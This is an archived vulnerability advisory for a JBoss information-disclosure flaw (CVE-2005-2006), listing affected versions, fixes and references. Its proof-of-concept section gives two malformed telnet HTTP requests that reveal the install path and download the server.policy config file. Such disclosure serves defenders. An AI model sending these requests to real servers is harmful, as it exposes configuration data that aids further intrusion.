JBoss Malformed HTTP Request Remote Information Disclosure Vulnerability

BID:13985

Info

JBoss Malformed HTTP Request Remote Information Disclosure Vulnerability

Bugtraq ID: 13985
Class: Input Validation Error
CVE: CVE-2005-2006
Remote: Yes
Local: No
Published: Jun 17 2005 12:00AM
Updated: Jun 13 2008 11:22PM
Credit: Discovery of this issue is credited to Marc Schoenefeld <[email protected]>.
Vulnerable: JBoss Group JBoss 4.0.2
JBoss Group JBoss 3.2.7
JBoss Group JBoss 3.2.5
JBoss Group JBoss 3.2.2
JBoss Group JBoss 3.2.1
JBoss Group JBoss 3.0.8
HP Systems Insight Manager 5.0 SP3
HP Systems Insight Manager 5.0 SP2
HP Systems Insight Manager 5.0 SP1
HP Systems Insight Manager 5.0
Not Vulnerable: JBoss Group JBoss 4.0.3
JBoss Group JBoss 3.2.8

Discussion

JBoss Malformed HTTP Request Remote Information Disclosure Vulnerability

JBoss is prone to a remote information-disclosure vulnerability. The issue occurs in the 'org.jboss.web.WebServer' class and is due to a lack of sufficient sanitization of user-supplied request data.

Information that attackers can harvest through leveraging this issue may aid in further attacks against the affected service.

Exploit / POC

JBoss Malformed HTTP Request Remote Information Disclosure Vulnerability

No exploit is required, the following examples are available:

Example 1 (Installation path disclosure): [3.2.x and 4.0.2]
Request:
&gt;&gt;telnet [jbosshost] 8083
&gt;&gt;GET %. HTTP/1.0

Reply:
HTTP/1.0 400 C:\Programme\jboss-4.0.2\server\default\conf (Zugriff
verweigert)
Content-Type: text/html

Example 2 (Config file download): [4.0.2]
Request:
&gt;&gt;telnet [jbosshost] 8083
&gt;&gt;GET %server.policy HTTP/1.0

Solution / Fix

JBoss Malformed HTTP Request Remote Information Disclosure Vulnerability

Solution:
Please see the referenced HP advisory for details on obtaining the appropriate updates.

Reports indicate that this issue has been resolved in JBoss 3.2.8 and 4.0.3.

References

JBoss Malformed HTTP Request Remote Information Disclosure Vulnerability

References:

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